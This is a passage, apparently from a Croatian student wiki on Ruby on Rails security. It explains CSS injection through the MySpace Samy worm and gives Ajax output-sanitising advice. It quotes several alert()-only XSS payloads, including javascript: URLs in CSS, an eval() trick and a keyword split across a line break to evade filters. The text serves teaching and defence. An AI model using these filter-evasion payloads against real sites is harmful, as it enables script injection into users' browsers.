CSS injection je zapravo JavaScript injection jer neki preglednici (IE, neke verzije Safari-a i drugih) dopuštaju JavaScript u CSS-u. CSS injection je najbolje objašnjen uz pomoć upotrebe poznatog MySpace Samy crva. Taj crv automatski šalje zahtjev za prijateljstvom Samiju (napadaču) posjetom njegovog profila. U nekoliko sati imao je preko milijun zahtjeva za prijateljstvom što je stvorilo previše prometa te se MySpace srušio. MySpace blokira puno tagova, međutim dopušta CSS tako da je Samy ubacio JavaScript unutar CSS-a.
<div style="background:url('javascript:alert(1)')">
Kako nisu dopušteni navodnici koristio je JavaScript eval()
funkciju koja pokreče bilo kakav string kao kod.
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
Sljedeći problem je bio da je MySpace filtrirao riječ javascript
pa je autor koristio java<NEWLINE>script
kako bi to zaobišao:
<div id="mycode" expr="alert('hah!')" style="background:url('java↵ script:eval(document.all.mycode.expr)')">
Nadalje, problem je bio jer su korišteni CSRF sigurnosni tokeni. Bez njih nije mogao poslati zahtjev za prijateljstvom preko POST metode. Riješio je to slanjem GET zahtjeva prema stranici točno prije dodavanja korisnika i raščlanjivanja rezultata za CSRF token. Na kraju je dobio 4 KB velik crv, kojeg je umetnuo u svoju profilnu stranicu.
Ajax Injection
Iste sigurnosne mjere moraju biti poduzete za Ajax kao i za ostale injection napade. Međutim, postoji jedna iznimka, a ta je da ispis mora biti očišćen već u kontroleru ako akcija ne vrati „view“.
Ako se koristi in_place_editor
plugin ili ako akcija vraća string, radije nego prikazivanje „view“-a mora se očistiti povratna vrijednost unutar akcije. Inače, ako povratna vrijednost sadrži XSS string, maliciozni kod će se pokrenuti nakon što se vrati u do preglednika. Čišćenje inputa se radi pomoću h()
metode.
--Andrej Kasić 02:50, 22. siječnja 2016. (CET)
Literatura
- Ruby on Rails Guides: http://guides.rubyonrails.org/index.html, dostupno 21.1.2016.
- Ruby on Rails Security Guides: http://guides.rubyonrails.org/security.html, dostupno 21.1.2016.
- OWASP Top 10 2013: https://www.owasp.org/index.php/Top_10_2013, dostupno 21.1.2016.
- OWASP RUBY ON RAILS SECURITY GUIDE: https://www.owasp.org/images/8/89/Rails_Security_2.pdf
- How rails sessions work: http://www.justinweiss.com/articles/how-rails-sessions-work/, dostupno 21.1.2016.
- Active Record Session Store: https://github.com/rails/activerecord-session_store, dostupno 21.1.2016.
- Ruby on Rails Cheet Sheet: https://www.owasp.org/index.php/Ruby_on_Rails_Cheatsheet#CSRF_.28Cross_Site_Request_Forgery.29, dostupno 21.1.2016.
- Cross-site Scripting (XSS): https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29